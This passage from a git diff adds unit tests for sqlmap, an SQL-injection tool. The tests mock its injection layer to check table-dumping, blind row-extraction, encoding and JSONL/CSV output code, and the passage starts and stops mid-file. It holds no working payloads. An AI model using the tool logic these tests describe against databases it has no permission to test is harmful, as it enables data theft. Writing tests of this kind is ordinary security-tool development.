string + "c": {"length": 1, "values": ["x"]}, + }) + row = self._rows(content)[0] + self.assertIsNone(row["a"]) + self.assertEqual(row["b"], "") + self.assertEqual(row["c"], "x") + + def test_missing_value_is_null(self): + # a column whose values list is short for this row index must serialize as null, not crash + content = self._dump({ + "__infos__": {"count": 2, "db": "testdb", "table": "t"}, + "id": {"length": 2, "values": ["1", "2"]}, + "lagging": {"length": 4, "values": ["only-one"]}, # missing index 1 + }) + rows = self._rows(content) + self.assertEqual(rows[0], {"id": "1", "lagging": "only-one"}) + self.assertEqual(rows[1], {"id": "2", "lagging": None}) + + def test_column_order_matches_csv(self): + # The serialized byte stream must keep the (priority-sorted) column order so output is + # reproducible - even on Python 2 where a plain dict would not - and that order must be + # the SAME one CSV uses. Build the input as an OrderedDict so the expectation is fixed, + # then dump the identical data as both JSONL and CSV and compare the column sequences. + def table(): + tv = OrderedDict() + tv["__infos__"] = {"count": 1, "db": "testdb", "table": "t"} + tv["zebra"] = {"length": 1, "values": ["1"]} + tv["alpha"] = {"length": 1, "values": ["2"]} + tv["middle"] = {"length": 1, "values": ["3"]} + return tv + + jsonl_line = [l for l in self._dump(table()).splitlines() if l.strip()][0] + jsonl_order = [k for k, _ in json.loads(jsonl_line, object_pairs_hook=lambda p: p)] + + conf.dumpFormat = DUMP_FORMAT.CSV + csv_path = os.path.join(self.tmp, "testdb", "t.csv") + if os.path.exists(csv_path): + os.remove(csv_path) + self.d.dbTableValues(table()) + with io.open(csv_path, encoding="utf-8") as f: + csv_header = f.read().splitlines()[0] + csv_order = [c.strip() for c in csv_header.split(conf.csvDel)] + + self.assertEqual(jsonl_order, csv_order) + + def test_unicode_value_not_escaped(self): + # ensure_ascii=False keeps multibyte data readable; it must round-trip through json.loads + content = self._dump({ + "__infos__": {"count": 1, "db": "testdb", "table": "t"}, + "name": {"length": 6, "values": [u"\u0107evap"]}, + }) + self.assertEqual(self._rows(content)[0]["name"], u"\u0107evap") + + +if __name__ == "__main__": + unittest.main() + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_encoding.py b/tests/test_encoding.py new file mode 100644 index 00000000000..f6fcd41744a --- /dev/null +++ b/tests/test_encoding.py @@ -0,0 +1,75 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Core text<->bytes conversions (lib/core/convert.py): getBytes, getUnicode, +getText. (getOrds is covered in test_convert.py.) + +These are called on essentially every request and response, on both Python 2 +and 3, and are the main thing standing between sqlmap and a UnicodeDecodeError +mid-scan. Pinned with known vectors, non-string coercion, and an encoding +round-trip property over multiple charsets. +""" + +import os +import random +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.convert import getBytes, getUnicode, getText + +RND = random.Random(2024) + + +class TestTypes(unittest.TestCase): + # value+type (not type alone): a stub returning b"" would pass an isinstance-only check, and + # on py3 a getBytes that wrongly returned str would slip past a round-trip on the unicode path + def test_getBytes_returns_bytes(self): + out = getBytes(u"abc") + self.assertIsInstance(out, bytes) + self.assertEqual(out, b"abc") + + def test_getUnicode_returns_unicode(self): + out = getUnicode(b"abc") + self.assertIsInstance(out, type(u"")) + self.assertEqual(out, u"abc") + + def test_getText_returns_native_str(self): + self.assertIsInstance(getText(b"abc"), str) + self.assertEqual(getText(b"abc"), "abc") + + +class TestCoercion(unittest.TestCase): + def test_getUnicode_of_number(self): + self.assertEqual(getUnicode(123), u"123") + + +class TestRoundTrip(unittest.TestCase): + def test_known_utf8(self): + self.assertEqual(getUnicode(getBytes(u"caf\xe9", "utf-8"), "utf-8"), u"caf\xe9") + + def test_property_multi_charset(self): + # printable BMP-ish range, round-trip through utf-8 and latin1-safe subset + for encoding, hi in (("utf-8", 0x2000), ("latin-1", 0x100)): + for _ in range(1000): + s = u"".join(unichr(RND.randint(0, hi - 1)) if sys.version_info[0] < 3 + else chr(RND.randint(0, hi - 1)) for _ in range(RND.randint(0, 16))) + self.assertEqual(getUnicode(getBytes(s, encoding), encoding), s, + msg="round-trip failed (%s): %r" % (encoding, s)) + + +# py2 has unichr, py3 does not; normalize so the file imports cleanly on both +try: + unichr +except NameError: + unichr = chr + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_entries.py b/tests/test_entries.py new file mode 100644 index 00000000000..db6209f5ffb --- /dev/null +++ b/tests/test_entries.py @@ -0,0 +1,846 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit tests for plugins/generic/entries.py (Entries), exercising dumpTable / +dumpAll / dumpFoundTables / dumpFoundColumn by MOCKING the injection layer +(lib.request.inject.getValue) and the dumper. + +No network and no DBMS are involved: conf.direct=True selects the simple inband +branches, or conf.direct=False with a BOOLEAN injection state selects the +inference (blind) branches; inject.getValue is patched to return canned rows in +the exact shape the methods parse, and conf.dumper is replaced with a recording +stub so we can assert on what each method produced (kb.data caches / returned +dicts). Every test restores all touched conf.* / kb.* / patched module attributes +in tearDown so nothing leaks. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms + +bootstrap() + +from lib.core.common import Backend +from lib.core.data import conf, kb +from lib.core.enums import EXPECTED, PAYLOAD + +import plugins.generic.search as smod +import plugins.generic.entries as emod +import plugins.generic.custom as cmod +import plugins.generic.misc as mmod +from plugins.generic.entries import Entries + + +# --------------------------------------------------------------------------- # +# Helpers/base from tests/test_search_enum.py (inband TestEntries) +# --------------------------------------------------------------------------- # + +class _RecordingDumperSE(object): + """Minimal stand-in for conf.dumper that records calls instead of printing/writing.""" + + def __init__(self): + self.reset() + + def reset(self): + self.listed = [] # (header, elements) + self.dbTablesArg = None + self.dbColumnsArg = None + self.dbTableColumnsArg = None + self.tableValues = [] + + def lister(self, header, elements, content_type=None, sort=True): + self.listed.append((header, list(elements) if elements else [])) + + def dbTables(self, dbTables): + self.dbTablesArg = dbTables + + def dbColumns(self, dbColumnsDict, colConsider, dbs): + self.dbColumnsArg = (dbColumnsDict, colConsider, dbs) + + def dbTableColumns(self, tableColumns, content_type=None): + self.dbTableColumnsArg = tableColumns + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + +class _TestEntriesSE(Entries): + """Entries with cross-mixin collaborators stubbed (forceDbmsEnum/getCurrentDb/getColumns/getTables).""" + + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} # {db: {tbl: {col: type}}} + self.getTablesResult = {} # value assigned to kb.data.cachedTables + self.getColumnsCalls = [] + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + self.getColumnsCalls.append((conf.db, conf.tbl)) + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + kb.data.cachedTables = dict(self.getTablesResult) + + +class _SearchEnumBase(unittest.TestCase): + def setUp(self): + # Save mutated globals + self._saved_conf = {k: conf.get(k) for k in ( + "db", "tbl", "col", "direct", "excludeSysDbs", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", + )} + self._saved_dumper = conf.get("dumper") + self._search_getValue = smod.inject.getValue + self._entries_getValue = emod.inject.getValue + self._search_readInput = smod.readInput + self._entries_readInput = emod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_cachedTables = kb.data.get("cachedTables") + self._saved_dumpedTable = kb.data.get("dumpedTable") + self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") + self._saved_permissionFlag = kb.get("permissionFlag") + + set_dbms("MySQL") + conf.direct = True + conf.excludeSysDbs = False + conf.exclude = None + conf.search = True + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumper = _RecordingDumperSE() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + # Non-interactive prompts: collapse readInput to its default. + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return True if (default in (None, 'Y', 'y', True)) else False + return default + smod.readInput = _readInput + emod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + smod.inject.getValue = self._search_getValue + emod.inject.getValue = self._entries_getValue + smod.readInput = self._search_readInput + emod.readInput = self._entries_readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.data.cachedTables = self._saved_cachedTables + kb.data.dumpedTable = self._saved_dumpedTable + kb.dumpKeyboardInterrupt = self._saved_dumpKbInt + kb.permissionFlag = self._saved_permissionFlag + + +class TestEntries(_SearchEnumBase): + def _entries_with_cols(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntriesSE() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + # --- dumpTable: inband (conf.direct) ------------------------------------ + + def test_dump_table_inband_rows(self): + e = self._entries_with_cols(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + # MySQL inband dump returns a list of [colVal, colVal] rows. + emod.inject.getValue = lambda *a, **k: [["1", "alice"], ["2", "bob"]] + + e.dumpTable() + + dumped = conf.dumper.tableValues[-1] + self.assertEqual(dumped["__infos__"]["count"], 2) + self.assertEqual(dumped["__infos__"]["table"], "users") + self.assertEqual(dumped["__infos__"]["db"], "testdb") + self.assertEqual(list(dumped["id"]["values"]), ["1", "2"]) + self.assertEqual(list(dumped["name"]["values"]), ["alice", "bob"]) + + def test_dump_table_uses_foundData(self): + e = _TestEntriesSE() + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["x"]] + foundData = {"testdb": {"users": {"id": "int"}}} + + e.dumpTable(foundData=foundData) + + # foundData short-circuits column discovery: getColumns must not run. + self.assertEqual(e.getColumnsCalls, []) + self.assertIn("id", conf.dumper.tableValues[-1]) + + def test_dump_table_no_columns_skips(self): + e = _TestEntriesSE() + e.getColumnsResult = {} # discovery yields nothing + conf.db = "testdb" + conf.tbl = "ghost" + conf.col = None + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + # No columns => no values dumped. + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_empty_entries(self): + e = self._entries_with_cols(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: None # no rows + + e.dumpTable() + # Nothing retrieved => dumpedTable empty => dbTableValues not called. + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_current_db(self): + e = self._entries_with_cols(db="testdb", tbl="users", cols=("id",)) + conf.db = None # triggers getCurrentDb() -> "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["7"]] + + e.dumpTable() + self.assertEqual(conf.db, "testdb") + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["7"]) + + def test_dump_table_multiple_db_error(self): + e = _TestEntriesSE() + conf.db = "a,b" + conf.tbl = "users" + conf.col = None + from lib.core.exception import SqlmapMissingMandatoryOptionException + self.assertRaises(SqlmapMissingMandatoryOptionException, e.dumpTable) + + def test_dump_table_get_tables_when_no_tbl(self): + e = _TestEntriesSE() + e.getTablesResult = {"testdb": ["users"]} + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + conf.db = "testdb" + conf.tbl = None + conf.col = None + emod.inject.getValue = lambda *a, **k: [["42"]] + + e.dumpTable() + # Tables were discovered via getTables, then the row dumped. + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["42"]) + + # --- dumpAll: single-db delegation -------------------------------------- + + def test_dump_all_single_db_delegates(self): + e = self._entries_with_cols(db="testdb", tbl="users", cols=("id",)) + # dumpAll with db set & tbl None must delegate straight to dumpTable. + conf.db = "testdb" + conf.tbl = None + conf.col = None + e.getTablesResult = {"testdb": ["users"]} + emod.inject.getValue = lambda *a, **k: [["9"]] + + e.dumpAll() + self.assertTrue(conf.dumper.tableValues) + + +# --------------------------------------------------------------------------- # +# Helpers/base from tests/test_generic_more.py (inband dump branches) +# --------------------------------------------------------------------------- # + +class _RecordingDumperGM(object): + """Recording stand-in for conf.dumper (no printing / file writing).""" + + def __init__(self): + self.tableValues = [] + self.sqlQueries = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + def sqlQuery(self, query, queryRes): + self.sqlQueries.append((query, queryRes)) + + +class _TestEntriesGM(Entries): + """Entries with cross-mixin collaborators stubbed. + + forceDbmsEnum / getCurrentDb / getColumns / getTables are normally supplied by + sibling mixins; we emulate column/table discovery by populating kb.data.cached* + from canned attributes, exactly as the production plugins do. + """ + + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} # assigned to kb.data.cachedColumns + self.getTablesResult = {} # assigned to kb.data.cachedTables + self.getColumnsCalls = [] + self.getTablesCalls = 0 + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + self.getColumnsCalls.append((conf.db, conf.tbl)) + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + self.getTablesCalls += 1 + kb.data.cachedTables = dict(self.getTablesResult) + + +class _GenericBase(unittest.TestCase): + """Snapshot/restore for everything the generic mixins touch.""" + + _CONF_KEYS = ( + "db", "tbl", "col", "direct", "batch", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere", + "tmpPath", "sqlQuery", "sqlFile", "regKey", "regVal", "regData", + "regType", "osPwn", "osShell", "cleanup", "privEsc", + ) + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + + self._saved_getValue = { + emod: emod.inject.getValue, + cmod: cmod.inject.getValue, + mmod: mmod.inject.getValue, + } + self._saved_goStacked = { + cmod: cmod.inject.goStacked, + mmod: mmod.inject.goStacked, + } + self._saved_emod_readInput = emod.readInput + self._saved_mmod_readInput = mmod.readInput + + self._saved_kb = { + "cachedColumns": kb.data.get("cachedColumns"), + "cachedTables": kb.data.get("cachedTables"), + "dumpedTable": kb.data.get("dumpedTable"), + "has_information_schema": kb.data.get("has_information_schema"), + "dumpKeyboardInterrupt": kb.get("dumpKeyboardInterrupt"), + "permissionFlag": kb.get("permissionFlag"), + "hintValue": kb.get("hintValue"), + "injection_data": kb.injection.data, + "bannerFp": kb.get("bannerFp"), + "os": kb.get("os"), + } + self._saved_forceDbms = kb.get("forcedDbms") + + conf.direct = True + conf.batch = True + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumperGM() + + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.data.has_information_schema = True + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + + def _readInput(message, default=None, checkBatch=True, boolean=False): + if boolean: + return default in (None, 'Y', 'y', True) + return default + + emod.readInput = _readInput + mmod.readInput = _readInput + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + + for mod, fn in self._saved_getValue.items(): + mod.inject.getValue = fn + for mod, fn in self._saved_goStacked.items(): + mod.inject.goStacked = fn + emod.readInput = self._saved_emod_readInput + mmod.readInput = self._saved_mmod_readInput + + kb.data.cachedColumns = self._saved_kb["cachedColumns"] + kb.data.cachedTables = self._saved_kb["cachedTables"] + kb.data.dumpedTable = self._saved_kb["dumpedTable"] + kb.data.has_information_schema = self._saved_kb["has_information_schema"] + kb.dumpKeyboardInterrupt = self._saved_kb["dumpKeyboardInterrupt"] + kb.permissionFlag = self._saved_kb["permissionFlag"] + kb.hintValue = self._saved_kb["hintValue"] + kb.injection.data = self._saved_kb["injection_data"] + kb.bannerFp = self._saved_kb["bannerFp"] + kb.os = self._saved_kb["os"] + kb.forcedDbms = self._saved_forceDbms + + @staticmethod + def _force_os(os_name): + # Backend.setOs only assigns when kb.os is currently None; reset first so + # tests can deterministically pin the back-end OS. + kb.os = None + Backend.setOs(os_name) + + +class TestEntriesDumpTable(_GenericBase): + def _entries(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntriesGM() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + def test_exclude_filters_columns(self): + set_dbms("MySQL") + e = self._entries(cols=("id", "secret")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.exclude = "secret" + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpTable() + dumped = conf.dumper.tableValues[-1] + self.assertIn("id", dumped) + self.assertNotIn("secret", dumped) + + def test_exclude_all_columns_skips(self): + set_dbms("MySQL") + e = self._entries(cols=("secret",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.exclude = "secret" + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + # all columns excluded => "no usable column names" => nothing dumped + self.assertEqual(conf.dumper.tableValues, []) + + def test_dumpwhere_rewrites_query(self): + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.dumpWhere = "id>5" + captured = {} + + def gv(query, *a, **k): + captured["query"] = query + return [["9"]] + + emod.inject.getValue = gv + e.dumpTable() + # agent.whereQuery folds conf.dumpWhere into the dump query + self.assertIn("id>5", captured["query"]) + self.assertEqual(list(conf.dumper.tableValues[-1]["id"]["values"]), ["9"]) + + def test_disablehashing_false_path(self): + # conf.disableHashing False => attackDumpedTable() is invoked; with no + # hashes present it must complete without raising and still emit values. + set_dbms("MySQL") + e = self._entries(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.disableHashing = False + emod.inject.getValue = lambda *a, **k: [["1", "alice"]] + + # Spy on attackDumpedTable: with disableHashing False it MUST be invoked + # after the values are dumped. A recorder replaces it so we can assert the + # call happened (and no real dictionary attack runs). + saved_attack = emod.attackDumpedTable + calls = {"n": 0} + emod.attackDumpedTable = lambda *a, **k: calls.__setitem__("n", calls["n"] + 1) + try: + e.dumpTable() + finally: + emod.attackDumpedTable = saved_attack + + self.assertEqual(calls["n"], 1) + self.assertEqual(conf.dumper.tableValues[-1]["__infos__"]["count"], 1) + + def test_missing_columns_skips_table(self): + # getColumns yields nothing for the targeted table => skip without fetching. + set_dbms("MySQL") + e = _TestEntriesGM() + e.getColumnsResult = {"testdb": {"other": {"id": "int"}}} + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + emod.inject.getValue = lambda *a, **k: self.fail("should not fetch entries") + + e.dumpTable() + self.assertEqual(conf.dumper.tableValues, []) + + def test_multiple_tables_one_dumped(self): + set_dbms("MySQL") + e = _TestEntriesGM() + e.getColumnsResult = {"testdb": {"users": {"id": "int"}, "posts": {"pid": "int"}}} + conf.db = "testdb" + conf.tbl = "users,posts" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpTable() + # both tables share the same cachedColumns dict => both dumped + tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] + self.assertIn("users", tables) + self.assertIn("posts", tables) + + def test_metadb_suffix_db(self): + # A db whose name carries the METADB_SUFFIX must not get a "db" prefix in + # kb.dumpTable, and dumping still succeeds. + from lib.core.settings import METADB_SUFFIX + set_dbms("MySQL") + metadb = "x%s" % METADB_SUFFIX + e = self._entries(db=metadb, tbl="t", cols=("c",)) + conf.db = metadb + conf.tbl = "t" + conf.col = None + emod.inject.getValue = lambda *a, **k: [["v"]] + + e.dumpTable() + self.assertEqual(list(conf.dumper.tableValues[-1]["c"]["values"]), ["v"]) + + +class TestEntriesDumpAll(_GenericBase): + def test_dumpall_multiple_dbs_tables(self): + set_dbms("MySQL") + e = _TestEntriesGM() + conf.db = None + conf.tbl = None + conf.col = None + e.getTablesResult = {"db1": ["t1"], "db2": ["t2"]} + # dumpTable re-discovers columns per (db, tbl); supply both. + e.getColumnsResult = { + "db1": {"t1": {"a": "int"}}, + "db2": {"t2": {"b": "int"}}, + } + emod.inject.getValue = lambda *a, **k: [["x"]] + + e.dumpAll() + # Every table contributed a values batch. + self.assertEqual(len(conf.dumper.tableValues), 2) + + def test_dumpall_list_cached_tables(self): + # cachedTables as a bare list => wrapped under {None: [...]}. + set_dbms("MySQL") + e = _TestEntriesGM() + conf.db = None + conf.tbl = None + conf.col = None + + # getTables sets cachedTables; emulate the list shape directly. + class _ListTables(_TestEntriesGM): + def getTables(self_inner, bruteForce=None): + kb.data.cachedTables = ["users"] + + e = _ListTables() + # dumpAll wraps a bare list as {None: [...]}; dumpTable then resolves the + # None db via getCurrentDb() -> "testdb", so columns live under "testdb". + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpAll() + self.assertTrue(conf.dumper.tableValues) + # The bare-list None db must be resolved via getCurrentDb() -> "testdb" + # before the dump; assert the dumped __infos__ carries the real db (not + # None) for the requested "users" table. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + def test_dumpall_exclude_skips_table(self): + set_dbms("MySQL") + e = _TestEntriesGM() + conf.db = None + conf.tbl = None + conf.col = None + conf.exclude = "secret" + e.getTablesResult = {"db1": ["secret", "users"]} + e.getColumnsResult = {"db1": {"users": {"id": "int"}, "secret": {"id": "int"}}} + emod.inject.getValue = lambda *a, **k: [["1"]] + + e.dumpAll() + tables = [tv["__infos__"]["table"] for tv in conf.dumper.tableValues] + self.assertIn("users", tables) + self.assertNotIn("secret", tables) + + +class TestEntriesDumpFound(_GenericBase): + def _entries(self): + e = _TestEntriesGM() + e.getColumnsResult = {"testdb": {"users": {"id": "int"}}} + return e + + def test_dump_found_tables_yes_all(self): + set_dbms("MySQL") + e = self._entries() + emod.inject.getValue = lambda *a, **k: [["1"]] + # batch readInput -> 'Y' (boolean True) and 'a'/'a' for db/table choices. + e.dumpFoundTables({"testdb": ["users"]}) + self.assertTrue(conf.dumper.tableValues) + # The interactive selection must dump the REQUESTED db/table, not just + # "something": assert the dumped __infos__ maps to testdb.users. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + def test_dump_found_tables_declined(self): + set_dbms("MySQL") + e = self._entries() + + def _no(message, default=None, checkBatch=True, boolean=False): + if boolean: + return False + return default + + emod.readInput = _no + emod.inject.getValue = lambda *a, **k: self.fail("must not dump when declined") + e.dumpFoundTables({"testdb": ["users"]}) + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_found_column_yes_all(self): + set_dbms("MySQL") + e = self._entries() + emod.inject.getValue = lambda *a, **k: [["1"]] + dbs = {"testdb": {"users": {"id": "int"}}} + e.dumpFoundColumn(dbs, foundCols=None, colConsider='1') + self.assertTrue(conf.dumper.tableValues) + # The selection must dump the REQUESTED db/table mapping, not just + # "something": assert the dumped __infos__ maps to testdb.users. + infos = conf.dumper.tableValues[-1]["__infos__"] + self.assertEqual(infos["db"], "testdb") + self.assertEqual(infos["table"], "users") + + +# --------------------------------------------------------------------------- # +# Helpers/base from tests/test_generic_enum_more.py (inference branches) +# --------------------------------------------------------------------------- # + +class _RecordingDumperInf(object): + def __init__(self): + self.tableValues = [] + + def dbTableValues(self, tableValues): + self.tableValues.append(tableValues) + + +class _TestEntriesInf(Entries): + def __init__(self): + Entries.__init__(self) + self.getColumnsResult = {} + self.getTablesResult = {} + + def forceDbmsEnum(self): + pass + + def getCurrentDb(self): + return "testdb" + + def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMode=False): + kb.data.cachedColumns = dict(self.getColumnsResult) + + def getTables(self, bruteForce=None): + kb.data.cachedTables = dict(self.getTablesResult) + + +class _EntriesBase(unittest.TestCase): + _CONF_KEYS = ("db", "tbl", "col", "direct", "technique", "exclude", "search", + "disableHashing", "noKeyset", "keyset", "forcePivoting", "dumpWhere") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_dumper = conf.get("dumper") + self._gv = emod.inject.getValue + self._cbe = emod.inject.checkBooleanExpression + self._readInput = emod.readInput + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_cachedColumns = kb.data.get("cachedColumns") + self._saved_cachedTables = kb.data.get("cachedTables") + self._saved_dumpedTable = kb.data.get("dumpedTable") + self._saved_dumpKbInt = kb.get("dumpKeyboardInterrupt") + self._saved_permissionFlag = kb.get("permissionFlag") + self._saved_injection_data = kb.injection.data + + set_dbms("MySQL") + conf.direct = False + conf.technique = None + conf.exclude = None + conf.search = False + conf.disableHashing = True + conf.noKeyset = True + conf.keyset = False + conf.forcePivoting = False + conf.dumpWhere = None + conf.dumper = _RecordingDumperInf() + + kb.data.has_information_schema = True + kb.data.cachedColumns = {} + kb.data.cachedTables = {} + kb.data.dumpedTable = {} + kb.dumpKeyboardInterrupt = False + kb.permissionFlag = False + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + emod.readInput = lambda *a, **k: (k.get("default") if k.get("default") is not None else (a[1] if len(a) > 1 else None)) + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + conf.dumper = self._saved_dumper + emod.inject.getValue = self._gv + emod.inject.checkBooleanExpression = self._cbe + emod.readInput = self._readInput + kb.data.has_information_schema = self._saved_has_is + kb.data.cachedColumns = self._saved_cachedColumns + kb.data.cachedTables = self._saved_cachedTables + kb.data.dumpedTable = self._saved_dumpedTable + kb.dumpKeyboardInterrupt = self._saved_dumpKbInt + kb.permissionFlag = self._saved_permissionFlag + kb.injection.data = self._saved_injection_data + + +class TestEntriesInference(_EntriesBase): + def _entries(self, db="testdb", tbl="users", cols=("id", "name")): + e = _TestEntriesInf() + e.getColumnsResult = {db: {tbl: {c: "varchar" for c in cols}}} + return e + + def test_dump_table_inference_column_pivot(self): + # Blind dump (conf.direct=False, BOOLEAN available): a row count, then one + # value per (index, column). Assert the per-column pivoted values match. + set_dbms("MySQL") + e = self._entries(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + # data[index][column] -> value. 2 rows, columns id/name. + data = {0: {"id": "1", "name": "alice"}, 1: {"id": "2", "name": "bob"}} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return "2" # row count + # MySQL blind cell query: 'SELECT FROM testdb.users ORDER BY ... + # LIMIT ,1'. The row index is the LIMIT offset; the column is the + # SELECT projection. + import re as _re + idx = int(_re.search(r"LIMIT\s+(\d+)\s*,\s*1", query).group(1)) + proj = query.split(" FROM ", 1)[0] + col = "name" if "name" in proj else "id" + return data[idx][col] + + emod.inject.getValue = gv + e.dumpTable() + dumped = conf.dumper.tableValues[-1] + self.assertEqual(dumped["__infos__"]["count"], 2) + self.assertEqual(list(dumped["id"]["values"]), ["1", "2"]) + self.assertEqual(list(dumped["name"]["values"]), ["alice", "bob"]) + + def test_dump_table_inference_keyset_giving_up_falls_back(self): + # A keyset walk that gives up mid-table hands back None (issue #6097: a key value that did + # not come back). The table must then be dumped by the standard OFFSET path IN FULL - a + # short table would otherwise be presented as the whole thing. + set_dbms("MySQL") + e = self._entries(cols=("id", "name")) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + conf.noKeyset = False + conf.keyset = True # keyset regardless of the row-count threshold + + savedResolve, savedDump = emod.resolveKeysetCursor, emod.keysetDumpTable + attempted = [] + emod.resolveKeysetCursor = lambda tbl, colList: ["id"] + emod.keysetDumpTable = lambda *a, **k: attempted.append(a) or None # gave up, nothing kept + + data = {0: {"id": "1", "name": "alice"}, 1: {"id": "2", "name": "bob"}} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return "2" + import re as _re + idx = int(_re.search(r"LIMIT\s+(\d+)\s*,\s*1", query).group(1)) + proj = query.split(" FROM ", 1)[0] + return data[idx]["name" if "name" in proj else "id"] + + emod.inject.getValue = gv + + try: + e.dumpTable() + finally: + emod.resolveKeysetCursor, emod.keysetDumpTable = savedResolve, savedDump + + self.assertEqual(len(attempted), 1) # the walk really was tried, then discarded + dumped = conf.dumper.tableValues[-1] + self.assertEqual(dumped["__infos__"]["count"], 2) + self.assertEqual(list(dumped["id"]["values"]), ["1", "2"]) + self.assertEqual(list(dumped["name"]["values"]), ["alice", "bob"]) + + def test_dump_table_inference_empty_table(self): + # A zero row count in the inference path yields empty per-column value + # lists and no dbTableValues emission (dumpedTable stays effectively empty). + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + emod.inject.getValue = lambda query, *a, **k: ("0" if k.get("expected") == EXPECTED.INT else self.fail("must not fetch cells for empty table")) + e.dumpTable() + # count 0 => empty entries => nothing dumped + self.assertEqual(conf.dumper.tableValues, []) + + def test_dump_table_inference_count_failure_skips(self): + # A non-numeric count in the inference path => the table is skipped with a + # warning, no values dumped. + set_dbms("MySQL") + e = self._entries(cols=("id",)) + conf.db = "testdb" + conf.tbl = "users" + conf.col = None + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return None # count failed + self.fail("must not fetch cells when count failed") + + emod.inject.getValue = gv + e.dumpTable() + self.assertEqual(conf.dumper.tableValues, []) + + +if __name__ == "__main__": + unittest.main() + + +def 